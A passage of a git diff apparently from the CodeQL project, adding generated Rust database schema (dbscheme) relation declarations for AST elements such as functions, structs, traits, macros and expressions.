index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_is_auto( + int id: @trait ref +); + +#keyset[id] +trait_is_unsafe( + int id: @trait ref +); + +#keyset[id] +trait_names( + int id: @trait ref, + int name: @name ref +); + +#keyset[id] +trait_type_bound_lists( + int id: @trait ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_visibilities( + int id: @trait ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_where_clauses( + int id: @trait ref, + int where_clause: @where_clause ref +); + +trait_aliases( + unique int id: @trait_alias +); + +#keyset[id, index] +trait_alias_attrs( + int id: @trait_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_alias_generic_param_lists( + int id: @trait_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +trait_alias_names( + int id: @trait_alias ref, + int name: @name ref +); + +#keyset[id] +trait_alias_type_bound_lists( + int id: @trait_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +trait_alias_visibilities( + int id: @trait_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +trait_alias_where_clauses( + int id: @trait_alias ref, + int where_clause: @where_clause ref +); + +tuple_struct_pats( + unique int id: @tuple_struct_pat +); + +#keyset[id, index] +tuple_struct_pat_fields( + int id: @tuple_struct_pat ref, + int index: int ref, + int field: @pat ref +); + +type_aliases( + unique int id: @type_alias +); + +#keyset[id, index] +type_alias_attrs( + int id: @type_alias ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_alias_generic_param_lists( + int id: @type_alias ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +type_alias_is_default( + int id: @type_alias ref +); + +#keyset[id] +type_alias_names( + int id: @type_alias ref, + int name: @name ref +); + +#keyset[id] +type_alias_type_reprs( + int id: @type_alias ref, + int type_repr: @type_repr ref +); + +#keyset[id] +type_alias_type_bound_lists( + int id: @type_alias ref, + int type_bound_list: @type_bound_list ref +); + +#keyset[id] +type_alias_visibilities( + int id: @type_alias ref, + int visibility: @visibility ref +); + +#keyset[id] +type_alias_where_clauses( + int id: @type_alias ref, + int where_clause: @where_clause ref +); + +unions( + unique int id: @union +); + +#keyset[id, index] +union_attrs( + int id: @union ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +union_generic_param_lists( + int id: @union ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +union_names( + int id: @union ref, + int name: @name ref +); + +#keyset[id] +union_struct_field_lists( + int id: @union ref, + int struct_field_list: @struct_field_list ref +); + +#keyset[id] +union_visibilities( + int id: @union ref, + int visibility: @visibility ref +); + +#keyset[id] +union_where_clauses( + int id: @union ref, + int where_clause: @where_clause ref +); + +uses( + unique int id: @use +); + +#keyset[id, index] +use_attrs( + int id: @use ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +use_use_trees( + int id: @use ref, + int use_tree: @use_tree ref +); + +#keyset[id] +use_visibilities( + int id: @use ref, + int visibility: @visibility ref +); + +for_exprs( + unique int id: @for_expr +); + +#keyset[id, index] +for_expr_attrs( + int id: @for_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +for_expr_iterables( + int id: @for_expr ref, + int iterable: @expr ref +); + +#keyset[id] +for_expr_pats( + int id: @for_expr ref, + int pat: @pat ref +); + +loop_exprs( + unique int id: @loop_expr +); + +#keyset[id, index] +loop_expr_attrs( + int id: @loop_expr ref, + int index: int ref, + int attr: @attr ref +); + +while_exprs( + unique int id: @while_expr +); + +#keyset[id, index] +while_expr_attrs( + int id: @while_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +while_expr_conditions( + int id: @while_expr ref, + int condition: @expr ref +); diff --git a/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme new file mode 100644 index 000000000000..2df29df1bf8f --- /dev/null +++ b/rust/downgrades/a1005655e9efc9f67d3aa2b7a3128f6b80d405a9/rust.dbscheme @@ -0,0 +1,3612 @@ +// generated by codegen, do not edit + +// from ../shared/tree-sitter-extractor/src/generator/prefix.dbscheme +/*- Files and folders -*/ + +/** + * The location of an element. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + unique int id: @location_default, + int file: @file ref, + int beginLine: int ref, + int beginColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @file | @folder + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +/*- Empty location -*/ + +empty_location( + int location: @location_default ref +); + +/*- Source location prefix -*/ + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/*- Diagnostic messages -*/ + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +/*- Diagnostic messages: severity -*/ + +case @diagnostic.severity of + 10 = @diagnostic_debug +| 20 = @diagnostic_info +| 30 = @diagnostic_warning +| 40 = @diagnostic_error +; + +/*- YAML -*/ + +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + string tag: string ref, + string tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + string anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + string target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + string value: string ref); + +yaml_errors (unique int id: @yaml_error, + string message: string ref); + +yaml_locations(unique int locatable: @yaml_locatable ref, + int location: @location_default ref); + +@yaml_locatable = @yaml_node | @yaml_error; + + +// from prefix.dbscheme +#keyset[id] +locatable_locations( + int id: @locatable ref, + int location: @location_default ref +); + + +// from schema + +@element = + @extractor_step +| @locatable +| @named_crate +| @unextracted +; + +extractor_steps( + unique int id: @extractor_step, + string action: string ref, + int duration_ms: int ref +); + +#keyset[id] +extractor_step_files( + int id: @extractor_step ref, + int file: @file ref +); + +@locatable = + @ast_node +| @crate +; + +named_crates( + unique int id: @named_crate, + string name: string ref, + int crate: @crate ref +); + +@unextracted = + @missing +| @unimplemented +; + +@ast_node = + @abi +| @addressable +| @arg_list +| @asm_dir_spec +| @asm_operand +| @asm_operand_expr +| @asm_option +| @asm_piece +| @asm_reg_spec +| @assoc_item +| @assoc_item_list +| @attr +| @callable +| @closure_binder +| @expr +| @extern_item +| @extern_item_list +| @field_list +| @format_args_arg +| @generic_arg +| @generic_arg_list +| @generic_param +| @generic_param_list +| @item_list +| @label +| @let_else +| @macro_items +| @match_arm +| @match_arm_list +| @match_guard +| @meta +| @name +| @param_base +| @param_list +| @parenthesized_arg_list +| @pat +| @path +| @path_segment +| @rename +| @resolvable +| @ret_type_repr +| @return_type_syntax +| @source_file +| @stmt +| @stmt_list +| @struct_expr_field +| @struct_expr_field_list +| @struct_field +| @struct_pat_field +| @struct_pat_field_list +| @token +| @token_tree +| @tuple_field +| @type_bound +| @type_bound_list +| @type_repr +| @use_bound_generic_arg +| @use_bound_generic_args +| @use_tree +| @use_tree_list +| @variant_def +| @variant_list +| @visibility +| @where_clause +| @where_pred +; + +crates( + unique int id: @crate +); + +#keyset[id] +crate_names( + int id: @crate ref, + string name: string ref +); + +#keyset[id] +crate_versions( + int id: @crate ref, + string version: string ref +); + +#keyset[id] +crate_modules( + int id: @crate ref, + int module: @module ref +); + +#keyset[id, index] +crate_cfg_options( + int id: @crate ref, + int index: int ref, + string cfg_option: string ref +); + +#keyset[id, index] +crate_named_dependencies( + int id: @crate ref, + int index: int ref, + int named_dependency: @named_crate ref +); + +missings( + unique int id: @missing +); + +unimplementeds( + unique int id: @unimplemented +); + +abis( + unique int id: @abi +); + +#keyset[id] +abi_abi_strings( + int id: @abi ref, + string abi_string: string ref +); + +@addressable = + @item +| @variant +; + +#keyset[id] +addressable_extended_canonical_paths( + int id: @addressable ref, + string extended_canonical_path: string ref +); + +#keyset[id] +addressable_crate_origins( + int id: @addressable ref, + string crate_origin: string ref +); + +arg_lists( + unique int id: @arg_list +); + +#keyset[id, index] +arg_list_args( + int id: @arg_list ref, + int index: int ref, + int arg: @expr ref +); + +asm_dir_specs( + unique int id: @asm_dir_spec +); + +@asm_operand = + @asm_const +| @asm_label +| @asm_reg_operand +| @asm_sym +; + +asm_operand_exprs( + unique int id: @asm_operand_expr +); + +#keyset[id] +asm_operand_expr_in_exprs( + int id: @asm_operand_expr ref, + int in_expr: @expr ref +); + +#keyset[id] +asm_operand_expr_out_exprs( + int id: @asm_operand_expr ref, + int out_expr: @expr ref +); + +asm_options( + unique int id: @asm_option +); + +#keyset[id] +asm_option_is_raw( + int id: @asm_option ref +); + +@asm_piece = + @asm_clobber_abi +| @asm_operand_named +| @asm_options_list +; + +asm_reg_specs( + unique int id: @asm_reg_spec +); + +#keyset[id] +asm_reg_spec_identifiers( + int id: @asm_reg_spec ref, + int identifier: @name_ref ref +); + +@assoc_item = + @const +| @function +| @macro_call +| @type_alias +; + +assoc_item_lists( + unique int id: @assoc_item_list +); + +#keyset[id, index] +assoc_item_list_assoc_items( + int id: @assoc_item_list ref, + int index: int ref, + int assoc_item: @assoc_item ref +); + +#keyset[id, index] +assoc_item_list_attrs( + int id: @assoc_item_list ref, + int index: int ref, + int attr: @attr ref +); + +attrs( + unique int id: @attr +); + +#keyset[id] +attr_meta( + int id: @attr ref, + int meta: @meta ref +); + +@callable = + @closure_expr +| @function +; + +#keyset[id] +callable_param_lists( + int id: @callable ref, + int param_list: @param_list ref +); + +#keyset[id, index] +callable_attrs( + int id: @callable ref, + int index: int ref, + int attr: @attr ref +); + +closure_binders( + unique int id: @closure_binder +); + +#keyset[id] +closure_binder_generic_param_lists( + int id: @closure_binder ref, + int generic_param_list: @generic_param_list ref +); + +@expr = + @array_expr_internal +| @asm_expr +| @await_expr +| @become_expr +| @binary_expr +| @break_expr +| @call_expr_base +| @cast_expr +| @closure_expr +| @continue_expr +| @field_expr +| @format_args_expr +| @if_expr +| @index_expr +| @labelable_expr +| @let_expr +| @literal_expr +| @macro_block_expr +| @macro_expr +| @match_expr +| @offset_of_expr +| @paren_expr +| @path_expr_base +| @prefix_expr +| @range_expr +| @ref_expr +| @return_expr +| @struct_expr +| @try_expr +| @tuple_expr +| @underscore_expr +| @yeet_expr +| @yield_expr +; + +@extern_item = + @function +| @macro_call +| @static +| @type_alias +; + +extern_item_lists( + unique int id: @extern_item_list +); + +#keyset[id, index] +extern_item_list_attrs( + int id: @extern_item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +extern_item_list_extern_items( + int id: @extern_item_list ref, + int index: int ref, + int extern_item: @extern_item ref +); + +@field_list = + @struct_field_list +| @tuple_field_list +; + +format_args_args( + unique int id: @format_args_arg +); + +#keyset[id] +format_args_arg_exprs( + int id: @format_args_arg ref, + int expr: @expr ref +); + +#keyset[id] +format_args_arg_names( + int id: @format_args_arg ref, + int name: @name ref +); + +@generic_arg = + @assoc_type_arg +| @const_arg +| @lifetime_arg +| @type_arg +; + +generic_arg_lists( + unique int id: @generic_arg_list +); + +#keyset[id, index] +generic_arg_list_generic_args( + int id: @generic_arg_list ref, + int index: int ref, + int generic_arg: @generic_arg ref +); + +@generic_param = + @const_param +| @lifetime_param +| @type_param +; + +generic_param_lists( + unique int id: @generic_param_list +); + +#keyset[id, index] +generic_param_list_generic_params( + int id: @generic_param_list ref, + int index: int ref, + int generic_param: @generic_param ref +); + +item_lists( + unique int id: @item_list +); + +#keyset[id, index] +item_list_attrs( + int id: @item_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +item_list_items( + int id: @item_list ref, + int index: int ref, + int item: @item ref +); + +labels( + unique int id: @label +); + +#keyset[id] +label_lifetimes( + int id: @label ref, + int lifetime: @lifetime ref +); + +let_elses( + unique int id: @let_else +); + +#keyset[id] +let_else_block_exprs( + int id: @let_else ref, + int block_expr: @block_expr ref +); + +macro_items( + unique int id: @macro_items +); + +#keyset[id, index] +macro_items_items( + int id: @macro_items ref, + int index: int ref, + int item: @item ref +); + +match_arms( + unique int id: @match_arm +); + +#keyset[id, index] +match_arm_attrs( + int id: @match_arm ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_arm_exprs( + int id: @match_arm ref, + int expr: @expr ref +); + +#keyset[id] +match_arm_guards( + int id: @match_arm ref, + int guard: @match_guard ref +); + +#keyset[id] +match_arm_pats( + int id: @match_arm ref, + int pat: @pat ref +); + +match_arm_lists( + unique int id: @match_arm_list +); + +#keyset[id, index] +match_arm_list_arms( + int id: @match_arm_list ref, + int index: int ref, + int arm: @match_arm ref +); + +#keyset[id, index] +match_arm_list_attrs( + int id: @match_arm_list ref, + int index: int ref, + int attr: @attr ref +); + +match_guards( + unique int id: @match_guard +); + +#keyset[id] +match_guard_conditions( + int id: @match_guard ref, + int condition: @expr ref +); + +meta( + unique int id: @meta +); + +#keyset[id] +meta_exprs( + int id: @meta ref, + int expr: @expr ref +); + +#keyset[id] +meta_is_unsafe( + int id: @meta ref +); + +#keyset[id] +meta_paths( + int id: @meta ref, + int path: @path ref +); + +#keyset[id] +meta_token_trees( + int id: @meta ref, + int token_tree: @token_tree ref +); + +names( + unique int id: @name +); + +#keyset[id] +name_texts( + int id: @name ref, + string text: string ref +); + +@param_base = + @param +| @self_param +; + +#keyset[id, index] +param_base_attrs( + int id: @param_base ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +param_base_type_reprs( + int id: @param_base ref, + int type_repr: @type_repr ref +); + +param_lists( + unique int id: @param_list +); + +#keyset[id, index] +param_list_params( + int id: @param_list ref, + int index: int ref, + int param: @param ref +); + +#keyset[id] +param_list_self_params( + int id: @param_list ref, + int self_param: @self_param ref +); + +parenthesized_arg_lists( + unique int id: @parenthesized_arg_list +); + +#keyset[id, index] +parenthesized_arg_list_type_args( + int id: @parenthesized_arg_list ref, + int index: int ref, + int type_arg: @type_arg ref +); + +@pat = + @box_pat +| @const_block_pat +| @ident_pat +| @literal_pat +| @macro_pat +| @or_pat +| @paren_pat +| @path_pat +| @range_pat +| @ref_pat +| @rest_pat +| @slice_pat +| @struct_pat +| @tuple_pat +| @tuple_struct_pat +| @wildcard_pat +; + +paths( + unique int id: @path +); + +#keyset[id] +path_qualifiers( + int id: @path ref, + int qualifier: @path ref +); + +#keyset[id] +path_segments_( + int id: @path ref, + int segment: @path_segment ref +); + +path_segments( + unique int id: @path_segment +); + +#keyset[id] +path_segment_generic_arg_lists( + int id: @path_segment ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +path_segment_identifiers( + int id: @path_segment ref, + int identifier: @name_ref ref +); + +#keyset[id] +path_segment_parenthesized_arg_lists( + int id: @path_segment ref, + int parenthesized_arg_list: @parenthesized_arg_list ref +); + +#keyset[id] +path_segment_ret_types( + int id: @path_segment ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +path_segment_return_type_syntaxes( + int id: @path_segment ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +path_segment_type_reprs( + int id: @path_segment ref, + int type_repr: @type_repr ref +); + +#keyset[id] +path_segment_trait_type_reprs( + int id: @path_segment ref, + int trait_type_repr: @path_type_repr ref +); + +renames( + unique int id: @rename +); + +#keyset[id] +rename_names( + int id: @rename ref, + int name: @name ref +); + +@resolvable = + @method_call_expr +| @path_ast_node +; + +#keyset[id] +resolvable_resolved_paths( + int id: @resolvable ref, + string resolved_path: string ref +); + +#keyset[id] +resolvable_resolved_crate_origins( + int id: @resolvable ref, + string resolved_crate_origin: string ref +); + +ret_type_reprs( + unique int id: @ret_type_repr +); + +#keyset[id] +ret_type_repr_type_reprs( + int id: @ret_type_repr ref, + int type_repr: @type_repr ref +); + +return_type_syntaxes( + unique int id: @return_type_syntax +); + +source_files( + unique int id: @source_file +); + +#keyset[id, index] +source_file_attrs( + int id: @source_file ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +source_file_items( + int id: @source_file ref, + int index: int ref, + int item: @item ref +); + +@stmt = + @expr_stmt +| @item +| @let_stmt +; + +stmt_lists( + unique int id: @stmt_list +); + +#keyset[id, index] +stmt_list_attrs( + int id: @stmt_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +stmt_list_statements( + int id: @stmt_list ref, + int index: int ref, + int statement: @stmt ref +); + +#keyset[id] +stmt_list_tail_exprs( + int id: @stmt_list ref, + int tail_expr: @expr ref +); + +struct_expr_fields( + unique int id: @struct_expr_field +); + +#keyset[id, index] +struct_expr_field_attrs( + int id: @struct_expr_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_expr_field_exprs( + int id: @struct_expr_field ref, + int expr: @expr ref +); + +#keyset[id] +struct_expr_field_identifiers( + int id: @struct_expr_field ref, + int identifier: @name_ref ref +); + +struct_expr_field_lists( + unique int id: @struct_expr_field_list +); + +#keyset[id, index] +struct_expr_field_list_attrs( + int id: @struct_expr_field_list ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +struct_expr_field_list_fields( + int id: @struct_expr_field_list ref, + int index: int ref, + int field: @struct_expr_field ref +); + +#keyset[id] +struct_expr_field_list_spreads( + int id: @struct_expr_field_list ref, + int spread: @expr ref +); + +struct_fields( + unique int id: @struct_field +); + +#keyset[id, index] +struct_field_attrs( + int id: @struct_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_defaults( + int id: @struct_field ref, + int default: @expr ref +); + +#keyset[id] +struct_field_is_unsafe( + int id: @struct_field ref +); + +#keyset[id] +struct_field_names( + int id: @struct_field ref, + int name: @name ref +); + +#keyset[id] +struct_field_type_reprs( + int id: @struct_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +struct_field_visibilities( + int id: @struct_field ref, + int visibility: @visibility ref +); + +struct_pat_fields( + unique int id: @struct_pat_field +); + +#keyset[id, index] +struct_pat_field_attrs( + int id: @struct_pat_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_pat_field_identifiers( + int id: @struct_pat_field ref, + int identifier: @name_ref ref +); + +#keyset[id] +struct_pat_field_pats( + int id: @struct_pat_field ref, + int pat: @pat ref +); + +struct_pat_field_lists( + unique int id: @struct_pat_field_list +); + +#keyset[id, index] +struct_pat_field_list_fields( + int id: @struct_pat_field_list ref, + int index: int ref, + int field: @struct_pat_field ref +); + +#keyset[id] +struct_pat_field_list_rest_pats( + int id: @struct_pat_field_list ref, + int rest_pat: @rest_pat ref +); + +@token = + @comment +; + +token_trees( + unique int id: @token_tree +); + +tuple_fields( + unique int id: @tuple_field +); + +#keyset[id, index] +tuple_field_attrs( + int id: @tuple_field ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +tuple_field_type_reprs( + int id: @tuple_field ref, + int type_repr: @type_repr ref +); + +#keyset[id] +tuple_field_visibilities( + int id: @tuple_field ref, + int visibility: @visibility ref +); + +type_bounds( + unique int id: @type_bound +); + +#keyset[id] +type_bound_is_async( + int id: @type_bound ref +); + +#keyset[id] +type_bound_is_const( + int id: @type_bound ref +); + +#keyset[id] +type_bound_lifetimes( + int id: @type_bound ref, + int 